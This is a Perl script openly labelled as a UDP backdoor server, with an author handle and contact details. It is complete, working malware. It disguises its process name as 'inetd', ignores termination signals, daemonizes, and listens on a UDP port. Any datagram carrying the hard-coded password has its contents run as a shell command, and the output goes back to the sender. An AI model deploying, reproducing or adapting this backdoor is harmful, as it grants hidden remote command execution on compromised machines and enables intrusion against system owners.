#!/usr/bin/perl
# UDP Backdoor [Servidor]
#     0ldW0lf - old-wolf@zipmail.com
#             - www.atrixbr.cjb.net
#             - www.atrix.cjb.net
#
#  ./udpbd [port] <- port is 5665 if not port especifyed 
#

my $proc_name = "inetd";
my $password = "password";

$SIG{TERM} = 'IGNORE';
$SIG{HUP} = 'IGNORE';
$SIG{INT} = 'IGNORE';
$pid=fork;
exit if $pid;
$0="$proc_name". "\0" x 16;
die "Erro: $!" unless defined($pid);
$port = $ARGV[0] || 5665;
$AF_INET=2;$SOCK_DGRAM=2; 
$sockaddr='S n a4 x8';
$partialaddr='S n a4';
($name, $aliases, $proto) = getprotobyname('udp');
if ($port!~ /^\d+$/) {($name, $aliases, $port) = getservbyport($port, 'udp');}
socket(SOCK, $AF_INET, $SOCK_DGRAM, $proto) || die "socket: $!";
$this=pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
bind(SOCK,$this) || die "Could not open port $port: $!";
select(SOCK); $|=1; select(stdout);
while ( 1 ) {
while ($addr = recv(SOCK, $data, 65535, MSG_WAITALL)) {
  next unless($data =~ /^(\S+):(.*)/);
  my $pass = $1;
  $data = $2;
  next if ($pass ne $password);
  
  sub uhd {
    chop($usr=`whoami`);
    chop($hn=`hostname`);
    chop($dir=`pwd`);
    send(SOCK, "\001$usr\@$hn\:$dir\001", 0, $addr);
  }
  if($data =~ /^cd\s+(.*)/) {
    chdir($1)||send(SOCK, "Erro: $!\n", 0, $addr);
    &uhd;
    send(SOCK, "-end.", 0, $addr);
  } else { 
      if ($pid = fork) {
        waitpid($pid, 0);
      } else {
         if (fork) {
            exit;
         } else {
            if ($data =~ /\002falae maneh\002/) {
              &uhd;
            } else {
              $resp=`$data 2>&1`;
              if($resp){
                $len=length($resp);
                if ($len > 65535) {
                  @achar= split(/|/, $resp);
                  foreach $achar (@achar) {
                    send(SOCK, "$achar", 0, $addr);
                  }
                } else {
                   send(SOCK, "$resp", 0, $addr);
                }
              }
              &uhd;
            }
            send(SOCK, "-end.", 0, $addr);
            exit;
         }
      }
  }
}
}